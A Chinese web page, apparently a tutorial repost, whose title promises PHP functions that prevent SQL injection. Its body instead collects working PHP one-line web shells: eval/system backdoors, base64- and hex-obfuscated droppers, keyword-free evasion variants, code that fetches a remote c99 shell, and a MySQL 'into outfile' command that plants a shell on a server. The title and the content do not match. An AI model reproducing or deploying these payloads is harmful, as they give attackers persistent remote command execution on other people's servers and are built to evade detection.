php提供哪些函数来避免sql的注入(PHP与SQL语句写一句话木马总结)
类别:编程学习 浏览量:1073
时间:2021-10-05 00:39:58 php提供哪些函数来避免sql的注入
PHP与SQL语句写一句话木马总结一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来:
|
<?php @ eval ( $_GET [ "code" ])?> <?php @system( $_POST [ "cmd" ])?> |
二、编码的替换的类型:
|
<?php @ fputs ( fopen ( base64_decode ( 'bG9zdC5waHA=' ),w), base64_decode ( 'PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg==' ));?> //会生成<?php @eval($_POST['lostwolf']);?> <script language= "php" >@ fputs ( fopen ( base64_decode ( 'bG9zdC5waHA=' ),w), base64_decode ( 'PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg==' ));</script> //php在html内部的一种嵌入方式 <?php fputs ( fopen (pack( "H*" , "6c6f7374776f6c662e706870" ), "w" ),pack( "H*" , "3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e" ))?> <?php session_start(); $_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); $_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' );?> |
三、其他类型:
|
<?php $_GET [a]( $_GET [b]);?> //?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29}; <?php assert( $_REQUEST [ "pass" ]);?> //菜刀连接 躲避检测 密码pass <?php substr (md5( $_REQUEST [ 'x' ]),28)== 'acd0' && eval ( $_REQUEST [ 'pass' ]);?> //菜刀提交 http://192.168.1.5/x.php?x=lostwolf 脚本类型:php 密码为 pass |
四、下载类型:
|
<?php echo copy ( "http://www.r57.me/c99.txt" , "lostwolf.php" ); ?> <? echo file_get_contents ( "..//cfg_database.php" );?> //显示某文件 <? eval ( file_get_contents ( "远程shell" )) ?> //运行远程shell |
五、无关键函数类型:
|
<?php $_ = "" ; $_ [+ "" ]= '' ; $_ = "$_" . "" ; $_ =( $_ [+ "" ]| "" ).( $_ [+ "" ]| "" ).( $_ [+ "" ]^ "" ); ?> <?php ${ '_' . $_ }[ '_' ](${ '_' . $_ }[ '__' ]);?> http: //site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass <? $_ = "" ; $_ [+ "" ]= '_' ; $_ = "$_" . "" ; $_ =( $_ [+ "" ]| "" ).( $_ [+ "" ]| "" ).( $_ [+ "" ]^ "" );?> |
六、补充知识点:
SQL写一句话(MySQL):
|
select "<?php @system($_POST[" pass "]);?>" into outfile "/home/webaccount/projectname/www/*.php" #前面是一句话内容 后面是绝对路径www下的PHP文件,同理其他脚本也可以 |
以上就是PHP一句话木马小结与SQL语句写一句话木马的详细内容,感谢大家的学习和对开心学习网的支持。
您可能感兴趣
- php集成支付(ThinkPHP框架整合微信支付之刷卡模式图文详解)
- php上传图片视频代码(详解PHP素材图片上传、下载功能)
- dedecms标签调用原理(DEDECMS安全设置 执行php脚本限制设置方法apache+nginx)
- php复选框代码(PHP之多条件混合筛选功能的实现方法)
- thinkphp中view视图的作用(Thinkphp5.0框架视图view的模板布局用法分析)
- php语言程序设计基础面向对象(PHP面向对象程序设计之对象的遍历操作示例)
- nginx如何配置php项目(Nginx服务器究竟是怎么执行PHP项目)
- phpmysql怎么搭建(PHP使用PDO、mysqli扩展实现与数据库交互操作详解)
- phpstudy详细教程学习(phpstudy的php版本自由修改的方法)
- php新建文件夹代码(php新建文件的方法实例)
- php如何对文本框输入小数的小数点(PHP保留两位小数的几种方法)
- php符串使用教程学习(PHP实现支持CURL字符串证书传输的方法)
- thinkphp源码上传(ThinkPHP框架实现FTP图片上传功能示例)
- php数组实例说明(PHP检测一个数组有没有定义的方法步骤)
- php源码如何导入dw中(php导入文件夹图片保存到dedecms的方法)
- 解释php中可变变量并举例说明(PHP Primary script unknown 解决方法总结)
- 今日大雪,大雪养生这样做,一年都有好气色(大雪养生这样做)
- 粗盐是什么 粗盐的功效与作用(粗盐的功效与作用)
- 会 吃人 的客机 从天堂到地狱只需5分钟,图-104如何做到(会吃人的客机)
- 男人犯的错,为什么要女人来承担(为什么要女人来承担)
- 心理学 四个金蟾,哪个最招财 测你今生的运势有多棒(心理学四个金蟾)
- 吉善缘《聚宝金蟾》金蟾招财摆件 三足全铜蟾蜍客厅店铺开业礼品(吉善缘聚宝金蟾金蟾招财摆件)
热门推荐
- phplaravel怎么优化(laravel执行php artisan migrate报错的解决方法)
- docker指令详解(docker create命令的用法说明)
- vueclass和style绑定(Vue中Class和Style实现v-bind绑定的几种用法)
- vue实现双向绑定原理(vue实现双向数据绑定)
- tomcat怎么知道访问servlet(详解从源码分析tomcat如何调用Servlet的初始化)
- Linq中select查询
- python中什么是迭代器(一篇文章彻底搞懂Python中可迭代Iterable、迭代器Iterator与生成器Generator的概)
- python怎么判断文件大小(python3实现指定目录下文件sha256及文件大小统计)
- react实现js控制样式(React + Threejs + Swiper 实现全景图效果的完整代码)
- docker怎么连接mysql(docker如何安装mysql)
排行榜
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9